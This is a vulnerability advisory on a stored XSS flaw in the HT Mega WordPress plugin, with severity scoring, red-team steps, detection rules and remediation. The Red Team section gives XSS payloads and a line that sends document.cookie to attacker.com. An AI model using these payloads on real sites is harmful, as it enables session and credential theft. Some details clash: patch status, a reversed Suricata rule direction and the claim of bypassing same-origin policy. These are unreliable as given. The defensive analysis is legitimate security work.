CVE-2024-4876

Executive Summary

CVE-2024-4876 is a Stored Cross-Site Scripting (XSS) vulnerability in the HT Mega – Absolute Addons For Elementor WordPress plugin, affecting versions up to and including 2.5.2. The flaw resides in the popover_header_text parameter, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user visits a compromised page, enabling session hijacking, credential theft, or defacement. The vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor (HT Mega) and apply patches as soon as they become available. No known supply chain compromise has been reported, but the unpatched status increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: Required (victim must visit injected page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The medium severity reflects the need for authenticated access and user interaction, but the potential for widespread exploitation in multi-author WordPress sites is significant.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the popover_header_text parameter of the HT Mega plugin. The plugin fails to properly sanitize user input and escape output when rendering the popover header text. An attacker with contributor-level permissions can craft a payload such as:

<script>alert('XSS')</script>

This payload is stored in the WordPress database and executed when the popover widget is rendered on a page. The lack of output escaping allows the script to run in the context of the victim's browser, bypassing same-origin policy restrictions.

The attack flow:

1. Attacker logs in with contributor-level access.
2. Attacker creates or edits a page using the HT Mega popover widget.
3. Attacker injects malicious JavaScript into the popover_header_text field.
4. The payload is stored and executed for any visitor viewing the page.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.5.2): The plugin likely uses a function like esc_attr() or esc_html() incorrectly, or omits it entirely. Example vulnerable snippet:

echo '<div class="popover-header">' . $popover_header_text . '</div>';

Patched Code (Hypothetical): Proper sanitization and escaping would be:

echo '<div class="popover-header">' . esc_html( $popover_header_text ) . '</div>';

Since no official patch is available, users must manually apply input validation and output escaping.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with HT Mega plugin <= 2.5.2
• Contributor-level account or higher

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to a page or post editor.
3. Add the HT Mega popover widget.
4. In the popover_header_text field, enter:

   <img src=x onerror=alert(document.cookie)>
   

5. Save/publish the page.
6. When an admin or visitor views the page, the XSS triggers.

Advanced Payload:

fetch('https://attacker.com/steal?cookie='+document.cookie)

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual popover_header_text values in WordPress database.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Review user activity logs for suspicious page edits.

Hardening:

• Restrict contributor-level permissions.
• Apply input validation and output escaping via custom code or security plugin.
• Disable the HT Mega plugin until a patch is available.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/ht-mega/ (entire plugin directory)
• Database: Rows in wp_postmeta or wp_options containing XSS payloads in popover_header_text
• Network: Outbound connections to attacker-controlled domains from WordPress admin pages
• Logs: WordPress audit logs showing edits to pages with HT Mega popover widget

Detection Engineering

YARA Rule

rule CVE_2024_4876_HT_Mega_XSS {
    meta:
        description = "Detects stored XSS payloads in HT Mega plugin popover_header_text"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4876"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
        $popover_field = "popover_header_text"
    condition:
        $popover_field and ($xss_payload or $xss_event)
}

Sigma Rule

title: CVE-2024-4876 HT Mega Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via popover_header_text parameter in HT Mega plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/wp-admin/admin-ajax.php"
        cs-method: POST
        cs-params|contains: "popover_header_text"
        cs-params|re: "(<script|<img|onerror|onload|javascript:)"
    condition: selection
falsepositives:
    - Legitimate use of HTML in popover header (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4876 HT Mega Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"popover_header_text"; http_client_body; pcre:"/(<script|<img|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the HT Mega plugin if not critical.
2. Short-term: Apply a Web Application Firewall (WAF) rule to block XSS payloads in popover_header_text.
3. Long-term: Monitor the vendor for a patched version (>= 2.5.3). If no patch is released, consider forking the plugin or replacing it with an alternative.
4. Code Fix: Manually patch the plugin by adding esc_html() to the popover_header_text output in the plugin's PHP files.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert